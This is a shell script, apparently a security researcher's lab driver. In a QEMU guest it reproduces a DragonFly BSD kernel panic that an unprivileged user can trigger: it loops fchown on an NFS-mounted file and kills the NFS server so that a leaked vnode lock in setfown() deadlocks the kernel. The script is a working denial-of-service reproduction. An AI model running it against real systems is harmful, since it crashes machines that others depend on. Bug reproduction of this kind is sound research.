DF-2550 / run.sh
#!/bin/sh # DF-2550 driver -- reproduces the setfown() vnode-lock leak as a kernel PANIC. # # Bug: sys/kern/vfs_syscalls.c setfown() does # if ((error = vget(vp, LK_EXCLUSIVE)) == 0) { # if ((error = VOP_GETATTR(vp, &vattr)) != 0) # return error; <-- BUG: no vput(vp) # ... # vput(vp); # } # When VOP_GETATTR fails, the exclusive vnode lock AND the vget reference are # leaked. The caller's very next operation that vget()s the same vnode # (vget->vn_lock(LK_EXCLUSIVE) on a lock the same thread already holds) hits: # # panic: lockmgr: locking against myself (vn_lock <- vget <- setfown) # # Trigger (realistic): an unprivileged user holds an fd on a file on a remote # filesystem (NFS) whose server becomes unavailable. The user's fchown() drives # setfown() into the failing-VOP_GETATTR path -> leak; the next fchown() panics. # # Run from the HOST (this directory): ./run.sh # It sets up a local NFS server+soft mount as root, runs the unprivileged # fchown-loop trigger as maxx, kills the NFS server (server-death / network # partition model), and waits for the kernel panic. Expected: guest PANICS # ("lockmgr: locking against myself") -> vm.sh status == down. set -u DIR=$(cd "$(dirname "$0")" && pwd) ROOT=$(cd "$DIR/../../.." && pwd) SSH="ssh -F $ROOT/dfbsd-qemu/config -o BatchMode=yes -o ConnectTimeout=8" SCP="scp -F $ROOT/dfbsd-qemu/config -q" VM="$ROOT/dfbsd-qemu/vm.sh" MNT=/mnt/nfs EXP=/export LOG="$DIR/run.log" echo "[drv] DF-2550 reproduction -- baseline (unpatched) kernel" | tee "$LOG" $VM run_root 'sysctl -n kern.version | head -1' 2>&1 | tee -a "$LOG" echo "[drv] bring up local NFS server (rpcbind/mountd/nfsd, tcp+udp)" | tee -a "$LOG" $VM run_root 'umount -f '"$MNT"' 2>/dev/null pkill -9 nfsd 2>/dev/null; pkill -9 mountd 2>/dev/null; pkill -9 rpcbind 2>/dev/null sleep 1 mkdir -p '"$EXP"' '"$MNT"' echo "nfs repro" > '"$EXP"'/f chown 1001 '"$EXP"'/f chmod 644 '"$EXP"'/f echo "'"$EXP"' -alldirs -maproot=0 127.0.0.1" > /etc/exports /usr/sbin/rpcbind; sleep 1 /sbin/mountd; sleep 1 /sbin/nfsd -t -u -n 4; sleep 2 rpcinfo -p 127.0.0.1 | grep -E "nfs|mount" ' 2>&1 | tee -a "$LOG" echo "[drv] mount NFS (UDP, soft, 1s timeout, 1 retrans, no attr cache)" | tee -a "$LOG" $VM run_root 'mount_nfs -3 -U -s -t 1 -x 1 -o acregmin=0,acregmax=0 127.0.0.1:'"$EXP"' '"$MNT"' && echo MOUNT_OK; ls -l '"$MNT"'/f' 2>&1 | tee -a "$LOG" echo "[drv] maxx: launch fchown poll-loop trigger in background" | tee -a "$LOG" rm -f "$DIR/trigger.out" ( $SSH dfbsd-maxx /bin/sh <<EOF cd poc/DF-2550 && exec ./trigger $MNT/f EOF ) > "$DIR/trigger.out" 2>&1 & TPID=$! echo "[drv] let it reach steady state (fchown rc=0) ..." | tee -a "$LOG" sleep 4 tail -3 "$DIR/trigger.out" | tee -a "$LOG" echo "[drv] root: kill the NFS server (server-death model) -> VOP_GETATTR will fail" | tee -a "$LOG" $VM run_root 'pkill -9 nfsd; sleep 1; pgrep nfsd || echo nfsd_dead' 2>&1 | tee -a "$LOG" echo "[drv] waiting for kernel panic (leaked lock -> next fchown self-deadlock) ..." | tee -a "$LOG" i=0 while [ $i -lt 90 ]; do # up to ~180s if ! $VM run_root 'true' >/dev/null 2>&1; then echo "[drv] guest STOPPED answering ssh at +$((i*2))s -> PANICKED" | tee -a "$LOG" break fi sleep 2; i=$((i+1)) done echo "===== trigger output (tail) =====" | tee -a "$LOG" tail -8 "$DIR/trigger.out" | tee -a "$LOG" echo "===== guest status =====" | tee -a "$LOG" $VM status 2>&1 | tee -a "$LOG" # Extract the panic signature from the serial console log. PANIC=$($VM log 2000 2>/dev/null | grep -iE "panic:|locking against myself|Stopped at|setfown|vn_lock|nfs (server|send)" | tail -20) if echo "$PANIC" | grep -qi "locking against myself\|panic:"; then echo "[drv] RESULT: PANIC reproduced." | tee -a "$LOG" echo "$PANIC" | tee -a "$LOG" echo "$PANIC" > "$DIR/panic.txt" exit 0 else echo "[drv] RESULT: no panic detected in serial log (may need longer wait)." | tee -a "$LOG" exit 1 fi |